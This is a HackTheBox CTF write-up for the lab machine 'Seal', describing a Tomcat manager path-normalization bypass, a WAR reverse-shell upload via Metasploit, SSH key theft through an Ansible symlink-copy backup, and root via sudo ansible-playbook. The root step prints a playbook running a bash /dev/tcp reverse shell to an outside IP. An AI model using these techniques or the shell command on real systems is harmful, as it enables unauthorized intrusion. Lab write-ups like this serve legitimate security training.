Seal

CTF	HackTheBox
Category	Writeup
Created	@July 14, 2021 5:17 AM
Date	
Description	
Fields	Pentest
Level	Medium
Tags	Nginx Tomcat

Info

Credential

User	Password	Service	Note
//			email: admin@seal.htb
tomcat	`42MrHBf*z8{Z%`	Tomcat	
luis		System	

System

- hostname: `seal.htb`

HTTPS

- Nginx 1.18.0
- Apache Tomcat/9.0.31

HTTP (8080)

- GitBucket

Path

Foothold

1. When I played this machine, it was still in Release Arena (RA), so I needed to download and use another VPN file for connecting to RA. This wasted me some time to figure out the problem. : (
2. The service of HTTPS was running Apache Tomcat/9.0.31, revealed in the 404 error message.
3. An issue of the repo "seal_market" on the GitBucket (port `8080`) talked about they using Nginx, not Tomcat, for mutual (certificate based) authentication, because of the server load balance. So I thought the authentication on HTTPS, which was the "seal_maeket", might be vulnerable.
4. Found the credential in the commit `971f3aa`. Also, the commit `db85dc0` specified `/manger/html`, not `/manager`, so I logged into Tomcat via `/manager/status`.
5. Since the architecture of the web service was "Nginx -> Tomcat", according to the "Path Interpretation" graph from this article, I constructed the path `https://seal.htb/;foo=bar/manager/html` to visit the `/manager/html` page.

   (Path Interpretation & Normalization)
6. Use `msfvenom` to generate `rev.war`, but when uploading it, the machine gave me a 403 error from Tomcat. After trying, I used `msfconsole` to run the exploit `multi/http/tomcat_mgr_upload` and manually executed it after uploaded, then got the shell.

   (Tomcat Knowledge)

User

1. The file `/opt/backups/playbook/run.yml` was running. According to the documentation, we could create symlink in `/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads`, and it would be copied to `/opt/backups/archives`, then we can read it. So I used it to copy `/home/luis.ssh/id_rsa` and logged into SSH.

   > copy_links: Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.

2. Gain user.

Root

1. Found `luis` can run `anisble-playbook` using `sudo` without password, so I crafted a playbook and ran it with `sudo` to got a root shell.
   (The `ansible` on the machine was an old version, it took me so long to find the correct syntax.)

   ```
   $ cat << EOF > root.playbook.yml
   - hosts: localhost
     remote_user: root
     become: yes
     become_method: sudo

     tasks:
       - command: /usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/10.10.16.7/13337 0>&1'
   EOF
   $ sudo ansible-playbook root.playbook.yml
   ```

2. Gain root!